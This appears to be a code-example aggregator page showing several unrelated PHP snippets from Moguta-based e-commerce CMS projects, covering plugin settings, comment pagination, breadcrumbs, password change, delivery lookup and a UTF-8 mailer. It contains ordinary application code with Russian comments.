     }
     $args = func_get_args();
     return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args);
 }
コード例 #19
0
ファイル: index.php プロジェクト: nellka/mebel
 /**
  * Выводит страницу настроек плагина в админке
  */
 static function pageSettingsPlugin()
 {
     $lang = self::$lang;
     $pluginName = self::$pluginName;
     //получаем опцию preview-photoOption в переменную option
     $option = MG::getSetting('preview-photo-option');
     $option = stripslashes($option);
     $options = unserialize($option);
     self::preparePageSettings();
     include 'pageplugin.php';
 }
コード例 #20
0
 public function saveBaseOption()
 {
     $this->messageSucces = $this->lang['SAVE_BASE'];
     $this->messageError = $this->lang['NOT_SAVE'];
     $data = $_POST['data'];
     if (!empty($data)) {
         MG::setOption(array('option' => 'uLoginSettings', 'value' => addslashes(serialize($_POST['data']))));
         return true;
     }
     return false;
 }
コード例 #21
0
 private function getComments()
 {
     $result = array();
     // Если запрос был со стороны сайта выполняется первая ветка условия. Иначе - вторая.
     if (isset($_POST['showComments']) && isset($_POST['uri'])) {
         $uri = explode('/', $_POST['uri']);
         if (!empty($uri[1])) {
             unset($uri[0]);
             $uri = implode('/', $uri);
         } else {
             $uri = $uri[0];
         }
         // Запрос для генерации блока пагинации
         $sql = "\n\t\t\t\tSELECT id, name, comment, UNIX_TIMESTAMP(date) as date\n\t\t\t\tFROM `comments` \n\t\t\t\tWHERE uri = " . DB::quote($uri) . " AND approved = '1'\n\t\t\t\tORDER BY `id` DESC";
         $res = DB::query($sql);
         //Получаем блок пагинации
         if ($_POST["page"]) {
             $page = $_POST["page"];
         }
         //если был произведен запрос другой страницы, то присваиваем переменной новый индекс
         $navigator = new Navigator($sql, $page, MG::getOption('countPrintRowsComments'));
         //определяем класс
         $pagination = $navigator->getPager('forAjax');
         /* Получаем непосредственно комментарии.
            	 Если была запрошена не первая страница комментариев, выполняем вторую ветку условия.
            */
         if (empty($_POST['page'])) {
             $sql = "\n\t\t\t\tSELECT id, name, comment, UNIX_TIMESTAMP(date) as date\n\t\t\t\tFROM `comments` \n\t\t\t\tWHERE uri = " . DB::quote($uri) . " AND approved = '1'\n\t\t\t\tORDER BY `id` DESC\n\t\t\t\tLIMIT 0, " . MG::getOption('countPrintRowsComments');
             $res = DB::query($sql);
         } else {
             $start = ($_POST['page'] - 1) * MG::getOption('countPrintRowsComments');
             $amount = MG::getOption('countPrintRowsComments');
             $sql = "\n\t\t\t\tSELECT id, name, comment, UNIX_TIMESTAMP(date) as date\n\t\t\t\tFROM `comments` \n\t\t\t\tWHERE uri = " . DB::quote($uri) . " AND approved = '1'\n\t\t\t\tORDER BY `id` DESC\n\t\t\t\tLIMIT " . $start . ", " . $amount;
             $res = DB::query($sql);
         }
         while ($row = DB::fetchAssoc($res)) {
             $row['date'] = date('d.m.Y H:i', $row['date']);
             $result['comments'][] = $row;
         }
         $result['pagination'] = $pagination;
         echo json_encode($result);
         exit;
     } else {
         $sql = "\n\t\t\t\tSELECT id, name, comment, date\n\t\t\t\tFROM `comments`\n\t\t\t\tORDER BY date DESC";
         $res = DB::query($sql);
         while ($row = DB::fetchAssoc($res)) {
             $row['date'] = date('d.m.Y H:i', $row['date']);
             $result[$row['id']] = $row;
         }
         return $result;
     }
 }
コード例 #22
0
ファイル: mgadmin.php プロジェクト: nellka/mebel
 function __construct()
 {
     MG::disableTemplate();
     $model = new Models_Order();
     MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
     if ('1' == User::getThis()->role) {
         MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
     }
     if (URL::get('csv')) {
         $model = new Models_Catalog();
         $model->exportToCsv();
     }
     if (URL::get('examplecsv')) {
         $model = new Models_Catalog();
         $model->getExampleCSV();
     }
     if (URL::get('examplecsvupdate')) {
         $model = new Models_Catalog();
         $model->getExampleCsvUpdate();
     }
     if (URL::get('yml')) {
         if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
             $model = new YML();
             if (URL::get('filename')) {
                 if (!$model->downloadYml(URL::get('filename'))) {
                     $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
                     echo json_encode($response);
                 }
             } else {
                 $model->exportToYml();
             }
         } else {
             $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
             echo json_encode($response);
         }
     }
     if ($orderId = URL::get('getOrderPdf')) {
         $model = new Models_Order();
         $model->getPdfOrder($orderId);
     }
     if ($orderId = URL::get('getExportCSV')) {
         $model = new Models_Order();
         $model->getExportCSV($orderId);
     }
     $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
     $this->pluginsList = PM::getPluginsInfo();
     $this->lang = MG::get('lang');
     if (!($checkLibs = MG::libExists())) {
         $newVer = Updata::checkUpdata(false, true);
         $this->newVersion = $newVer['lastVersion'];
     }
 }
コード例 #23
0
ファイル: index.php プロジェクト: kostiukoleg/all4web.loc
 static function breadcrumbs()
 {
     $breadcrumbs = Storage::get(md5('breadcrumbs' . URL::getUrl()));
     if ($breadcrumbs == null) {
         $sections = URL::getSections();
         array_splice($sections, 0, 1);
         if (SHORT_LINK == 1 && MG::get('controller') == 'controllers_product') {
             $product_url = URL::getLastSection();
             $res = DB::query('SELECT CONCAT(c.`parent_url`, c.`url`) as fullurl
       FROM `' . PREFIX . 'product` p LEFT JOIN `' . PREFIX . 'category` c 
       ON p.cat_id  = c.id WHERE p.url = ' . DB::quote($product_url));
             $cat = DB::fetchArray($res);
             $sections = explode('/', $cat['fullurl']);
             $sections[] = $product_url;
         }
         $breadcrumbs = '<a href="' . SITE . '/catalog">Каталог</a>';
         $max = count($sections);
         $i = 0;
         $par = '';
         foreach ($sections as $section) {
             $url = $section;
             $cat = 'title';
             if ($url != 'catalog') {
                 $data = self::checkURLname('*', 'category', $section, 'url', $par);
                 $url = $data[0]['parent_url'] . $section;
                 $res = $data[0]['title'];
                 $par = $data[0]['id'];
                 if (!$data[0]['title']) {
                     $cat = 'name';
                     $n = '';
                     $result = self::checkURLname('*', 'product', $section, 'url', $n);
                     $url = $data[0]['parent_url'] . $sections[1] . '/' . $sections[2];
                     $categoryRes = self::checkURLname('url, parent_url', 'category', $result[0]['cat_id'], 'id');
                     $url = $categoryRes[0]['parent_url'] . $categoryRes[0]['url'] . '/' . $result[0]['url'];
                     $res = $result[0]['title'];
                 }
             }
             $i++;
             if ($max == $i) {
                 $breadcrumbs .= ' » <span class="last-crumb">' . $res . '</span>';
             } else {
                 $breadcrumbs .= ' » <a href="' . SITE . '/' . $url . '">' . $res . '</a>';
             }
         }
         $breadcrumbs = "<div class='bread-crumbs'>" . $breadcrumbs . "</div>";
         //сохраняем объект в кэш
         Storage::save(md5('breadcrumbs' . URL::getUrl()), $breadcrumbs);
     }
     return $breadcrumbs;
 }
コード例 #24
0
ファイル: personal.php プロジェクト: nellka/mebel
 /**
  * Функция смены пароля пользователя
  *
  * После проверки корректности введеных данных производит хэширование и внесения в БД пароля пользователя
  *
  * @param string $newPass - новый пароль пользователя
  * @param int $id - id пользователя
  * @param bool $forgotPass - флаг для функции восстановления пароля, когда не происходит изменения данных пользователя находящихся в системе
  * @return string - сообщение о результате операции
  */
 public function changePass($newPass, $id, $forgotPass = false)
 {
     $userData = array('pass' => $newPass);
     $registration = new Models_Registration();
     if ($err = $registration->validDataForm($userData, 'pass')) {
         $msg = $err;
     } else {
         $userData['pass'] = crypt($userData['pass']);
         USER::update($id, $userData, $forgotPass);
         $msg = "Пароль изменен";
     }
     $args = func_get_args();
     return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $msg, $args);
 }
コード例 #25
0
ファイル: index.php プロジェクト: WinGood/24karcher
 static function pageSettingsPlugin()
 {
     $lang = self::$lang;
     $pluginName = self::$pluginName;
     $option = MG::getSetting('call-backOption');
     $option = stripslashes($option);
     $options = unserialize($option);
     $res = self::getEntity($options['countRows']);
     $config = self::getConfigPlugin();
     $entity = $res['entity'];
     $pagination = $res['pagination'];
     self::prepareSettingsPage();
     include 'page-settings.php';
 }
コード例 #26
0
ファイル: functions.php プロジェクト: WinGood/24karcher
function getSaleGoods()
{
    $model = new Models_Catalog();
    $saleProducts = $model->getListByUserFilter(MG::getSetting('countSaleProduct'), ' p.old_price>0 and p.activity=1 ORDER BY sort ASC');
    foreach ($saleProducts['catalogItems'] as &$item) {
        $item["recommend"] = 0;
        $item["new"] = 0;
        $imagesUrl = explode("|", $item['image_url']);
        $item["image_url"] = "";
        if (!empty($imagesUrl[0])) {
            $item["image_url"] = $imagesUrl[0];
        }
    }
    return $saleProducts['catalogItems'];
}
コード例 #27
0
ファイル: delivery.php プロジェクト: kostiukoleg/all4web.loc
 /**
  * Получает параметры способа доставки по его id.
  *
  * @param string $url запрашиваемой  категории.
  * @return array массив с данными о категории.
  *
  */
 public function getDeliveryById($id)
 {
     $result = array();
     $res = DB::query('
   SELECT *
   FROM `' . PREFIX . 'delivery`
   WHERE id = ' . DB::quote($id));
     if (!empty($res)) {
         if ($deliv = DB::fetchAssoc($res)) {
             $result = $deliv;
         }
     }
     $args = func_get_args();
     return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args);
 }
コード例 #28
0
ファイル: int2str.php プロジェクト: nellka/mebel
 function __construct($x, $kop = true, $currencyString = ' рублей', $kopShort = 'коп.')
 {
     $this->kopShort = $kopShort;
     $this->currencyString = $currencyString;
     $propertyOrder = MG::getOption('propertyOrder');
     $propertyOrder = stripslashes($propertyOrder);
     $propertyOrder = unserialize($propertyOrder);
     $rankUser = explode(",", $propertyOrder["currency"]);
     if (count($rankUser) == 3) {
         $this->rank[1] = $rankUser;
     }
     $this->num = $this->prepare($x);
     $this->test();
     $this->rub($kop);
 }
コード例 #29
0
ファイル: menu.php プロジェクト: WinGood/24karcher
 /**
  * Возвращает массив пунктов меню.
  * @return type
  */
 public static function getArrayMenu()
 {
     $arrPages = MG::get('pages')->getPageInMenu();
     $menuItem = array();
     foreach ($arrPages as $item) {
         if ($item['url'] == "index" || $item['url'] == "index.html") {
             $item['url'] = '';
         }
         if (strpos($item['url'], 'http://') === false) {
             $url = SITE . '/' . $item['url'];
         } else {
             $url = $item['url'];
         }
         $menuItem[] = array('title' => $item['title'], 'id' => $item['id'], 'url' => $url);
     }
     return $menuItem;
 }
コード例 #30
-3
ファイル: mailer.php プロジェクト: nellka/mebel
 /**
  * Функция для отправки писем в UTF-8
  * @param $dataMail - массив с данными
  * <code>
  * array(
  * nameFrom => имя отправителя
  * emailFrom => email отправителя
  * nameTo => имя получателя
  * emailTo => email получателя
  * dataCharset => кодировка переданных данных
  * sendCharset => кодировка письма
  * subject => тема письма
  * body => текст письма
  * html => письмо в виде html или обычного текста
  * addheaders => дополнительные заголовки
  * contentType => если нужен особенный contentType
  * ); 
  * </code>
  * @return bool
  */
 public static function sendMimeMail($dataMail)
 {
     $m = new Mail();
     // можно сразу указать кодировку, можно ничего не указывать ($m= new Mail;)
     $m->From(htmlspecialchars_decode($dataMail['nameFrom']) . "||" . $dataMail['emailFrom']);
     // от кого Можно использовать имя, отделяется точкой с запятой
     if (MG::getSetting('smtp') === "true") {
         $m->smtp_on(MG::getSetting('smtpHost'), MG::getSetting('smtpLogin'), MG::getSetting('smtpPass'), MG::getSetting('smtpPort'), 10);
         // используя эу команду отправка пойдет через smtp
         $m->From($dataMail['nameFrom'] . "||" . MG::getSetting('smtpLogin'));
     }
     $m->ReplyTo(htmlspecialchars_decode(self::$replyTo));
     // куда ответить, тоже можно указать имя
     $m->To($dataMail['nameTo'] . "||" . $dataMail['emailTo']);
     // кому, в этом поле так же разрешено указывать имя
     $dataMail['subject'] = htmlspecialchars_decode($dataMail['subject']);
     $m->Subject($dataMail['subject']);
     if (!empty($dataMail['html'])) {
         $m->Body($dataMail['body'], "html");
     } else {
         $m->Body($dataMail['body']);
     }
     $m->Priority(4);
     // установка приоритета
     //$m->Attach( "/toto.gif", "", "image/gif" ) ;	// прикрепленный файл типа image/gif. типа файла указывать не обязательно
     $m->log_on(true);
     // включаем лог, чтобы посмотреть служебную информацию
     $m->Send();
     // отправка
     self::$replyTo = null;
     //  echo "Письмо отправлено, вот исходный текст письма:<br><pre>", $m->Get(), "</pre>";
     // exit();
 }